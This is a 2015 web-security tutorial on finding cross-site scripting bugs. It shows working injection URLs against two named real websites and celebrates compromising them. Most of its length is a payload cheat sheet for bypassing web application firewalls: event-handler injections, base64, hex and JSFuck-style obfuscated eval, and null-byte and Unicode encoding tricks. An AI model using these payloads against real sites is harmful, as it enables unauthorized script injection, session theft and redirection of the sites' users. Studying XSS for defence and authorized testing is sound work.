Finding XSS in Real World
Transcription
Finding XSS in Real World
Finding XSS in Real World by Alexander Korznikov nopernik@gmail.com 1 April 2015 Hi there, in this tutorial, I will try to explain how to find XSS in real world, using some interesting techniques. All of you know, that XSS is based on some code injection. It maybe <script> tag injection, or just an ‘-alert()-‘, I will explain about that later. What do you need to find an XSS? Simply, only browser. But, if you want to find it much faster, you may use this software: 1. Firefox Browser 2. FireBug Add-on 3. HackBar Add-on 4. Google. I wanted to learn some advanced techniques of XSS, and found pretty cool way: http://xssposed.org There are tons of verified XSS’s published by lot of security researchers, affecting VIP sites also. VIP website on xssposed.org is Google PR > 6 or Alexa Rate < 50000. So, I’ve wrote a script that grabbed all xssposed.org XSS urls, and started to filter out not interesting fields. There were about 7500 urls. You can download a list from here: https://ghostbin.com/paste/n6vk7/raw and filter out all you don’t need. Real XSS (HTML Injection) Demo. I will take a real examples of XSSs from xssposed.org that were not patched a very, very long time. Our first target will be www.tcdb.org, XSS report dated 14/06/2008. From that date, same XSS was reported more 3 times. Take a look at the “search” field. Let’s enter inside some RANDOMSTRING inside <xxx> tag. Purpose of this test is to validate, if there is some user input sanitation: <xxx>RANDOMSTRING<xxx> As output, we see our “RANDOMSTRING” without <xxx> tags. Let’s take a look at the source: // CTRL+U in Firefox and Chrome As you can see, there is no filtration, and our <xxx> tag passed to browser as HTML. Purple color means that the <xxx> interpreted as tag. Finally, we enter: <script>alert(document.domain)</script> One thing you should notice: there is no GET parameters in URL. In this example the POST was used. Open Hack-Bar add-on in Firefox, and after you come to search results, press Load URL and press on checkbox: Enable Post data Some server-side scripts, handle GET and POST requests the same way. Let’s check it: http://www.tcdb.org/search/index.php?query=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E 2. WAF Filter Evasions: What if the <script> tag is filtered out? Some WAF evasion cheat-sheets that we can use <sCRipT> tag, but I’ve never seen this in real world. So I don’t even try it. Some variations: <img src=x onerror=alert()> <img/src=x onerror=”alert()”> <svg onload=alert()> <svg/onload=’alert()’> <marquee onstart=alert()> <div style=”width:1000px;height:1000px” onmouseover=alert()>asdfa</div> <a onmouseover=alert()>some random text What if alert() is filtered? confirm() prompt() window[‘alert’](‘xss’) window['ale'+'rt']('xss') eval(window.atob('YWxlcnQoJ3hzcycp')) //decode base64 string && execute eval(window['atob']('YWxlcnQoJ3hzcycp')) window['e'+'v'+'a'+'l'](window['atob']('YWxlcnQoJ3hzcycp')) Awesome evasion technique: []["filter"]["constructor"]( CODE )() eval(‘alert()’) will be equal to: []["filter"]["constructor"]( window['atob']('YWxlcnQoJ3hzcycp') )() //equals to eval() And more evasion: []["fil"+"ter"]["constr"+"uctor"]( window['atob']('YWxlcnQoJ3hzcycp') )() document.body += atob(‘PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+’) Some reference on []() functions: false => ![] true => !![] undefined => [][[]] NaN => +[![]] 0 => +[] 1 => +!+[] 2 => !+[]+!+[] 10 => [+!+[]]+[+[]] Array => [] Number => +[] String => []+[] Boolean => ![] Function => []["filter"] eval => []["filter"]["constructor"]( CODE )() window => []["filter"]["constructor"]("return this")() //decoded base64 == <script>alert()</script> Some security researchers go deeper, and develop tools like: http://www.jsfuck.com/ http://patriciopalladino.com/files/hieroglyphy/ That will convert your JavaScript CODE only with []()!+ characters. [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]) Thanks to Patricio Palladino and Martin Kleppe. So you understand string manipulation like ‘ale’+’rt’… Will not going to explain it again :) What if () characters are filtered? onerror=alert; throw “xss” “document.body += ‘string’” will append your string to the end of <body> tag. document.body += ‘<script>alert\x28\x29</script>’ // in HEX: ‘\x28’ == ‘(‘ and ‘\x29’ == ‘)’ Or you can encode the whole string <script>alert()</script> in HEX: document.body += ‘\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E’ Or just use your XSS as open redirect: document.location = ‘http://google.com’ //open redirect Again, document.location == document[‘locati’+’on’]. Keep that in mind. As additional reference, I recommend to read this book: http://dl.packetstormsecurity.net/papers/bypass/WAF_Bypassing_By_RAFAYBALOCH.pdf Simple HTML injections are easy to sanitize. Filter out tags and ‘=’ characters, and it will be painful job of finding XSS. For example, Microsoft .NET 4 marking as Dangerous Request every request with character ‘<’ followed by almost any ASCII character. I’ve not found a way of evasion. So ‘<s’ or ‘<m’ or ‘</’ will be marked as dangerous. So the only way to bypass it is to use ‘” onmouseover=alert()’> in case if ‘=’ is not filtered out. ModSecurity doesn’t know about ‘confirm()’… Some others don’t handle Unicode encoding and/or double URL encoding. If you can’t use ‘onload’ keyword, try ‘onl%00oad’ or ‘onl%u006fad’ or ‘onl%256fad’ Or if ‘=’ character is filtered or marked as dangerous, try ‘onload%u003d’ Fine. This is over. Next, I will show you a real example of Inline JavaScript injection. //Null Byte / Unicode / Double URL //Unicode representation of ‘=’ char 3. Inline JavaScript injection. The interesting thing, that this type of injection can be found on popular websites. Even if there a sanitation of tags, and equal character – XSS is possible. If the logic of web-site (no matter if it’s server-side or client-side), reflects user’s input in web-page’s javascript, we can utilize it for nasty purposes :) Simple example: We have URL: “http://www.example.com/?id=1&style=blue” 1. Parameter “id” is handled by Server-Side logic, checking for INTEGER 2. Parameter “style” handled by client-side javascript and reflected in this context: var site.style = ‘blue’ If we pass to the parameter “style” string: ‘blue //single quote The context will be: var site.style = ‘’blue’ This will throw an javascript exception: SyntaxError: unterminated string literal Model: \string\trash\string\ ‘’ blue ‘ //unclosed string In case of “ double quote, the query will be “blue: SyntaxError: unterminated string literal In case if ID parameter handled by client-side, and reflected in context: var site.id = 1 Injected payload “id=1’trash” will look like: var site.id = 1’trash That will also throw an SyntaxError exception. In case if our payload will look like “style=blue\” var site.style = ‘blue\’ Again, will be SyntaxError exception, because javascript interprets \” as escaped quote. So we can develop a noninvasive XSS locator: ‘” >trash\ single quote / double quote / space / greater sign / sting / backslash Some examples that this locator will break: //in case of no filtration HTML Code break: RED: Rendered as tags / BLUE: throwed out at the screen <a href=”http://example.com/?id=1&style=’” >trash\” style=”blablabla”> Javascript SyntaxErrors: RED: Syntax errors var a = “blue’” >trash\’ a=unescape(‘blue’” >trash\’) var a = ‘blue’" >trash\’ Sometimes web-site logic will escape ’ or ” characters, so try to add to our locator \’\” >trash\ as result you may see: var a = ‘blue\\’\\” >trash\ \’ as input will be \\’ as output, so our backslash is escaped, and quotation mark rendered. One more thing to remember, that we can perform all mathematical operations for all objects in javascript. For example, we can: ‘ale’+’rt’, or ‘a’ - ‘b’ or ‘a’ * ’b’. Google for more info :) Examples of nasty javascript injections with various payloads: var a = ‘blue’ var a = ‘blue’ - alert(‘xss’) - ‘’ //alert() will be executed var b = [‘red’,’blue’,alert(‘xss’),’’] var c = func(‘blue’+alert(/xss/))//) //after “//” the rest of line will be commented Inline Javascript Real Demo. Our second target will be www.nbcunicareers.com, XSS report date: 28/06/2014 For making our life easier we will need FireBug and Hack-Bar Firefox addons. Entering our XSS locator (‘”>trash\) to the website’s “Find Jobs” input field: Got us to this URL: http://www.nbcunicareers.com/search-results?search_type=criteria&country=6&state=all&city=all&keywords='">trash\ and as response we will get: As you can see in FireBug’s output, thrown an exception - SyntaxError: missing } after property list. By clicking on the green URL right after the “SyntaxError”, we will get generated JavaScript source code: As you can notice, on lines 570 and 577 the code was broken: After server-side logic, out XSS locator looks like: ‘">trash\ So the “ and > tags are converted to HTML entities " > accordingly. But the single quote is not converted, and only that broke the JavaScript code. Let’s test for other useful characters () and enter this payload: ‘-a()- Looks pretty good, characters aren’t converted and passed to generated JavaScript. How JavaScript understands this payload? ‘ closes string, - subtracts results of a() function So, our final payload should look like: ‘-alert(‘XSS’)-‘ and should not brake generated JavaScript execution. pwned again :) Ask & comment at www.korznikov.com That’s all folks!
Similar documents
How To Shot Web - DEF CON Media Server
Multi-context, filter bypass based polyglot payload #2 (Ashar Javed XSS Research)
More information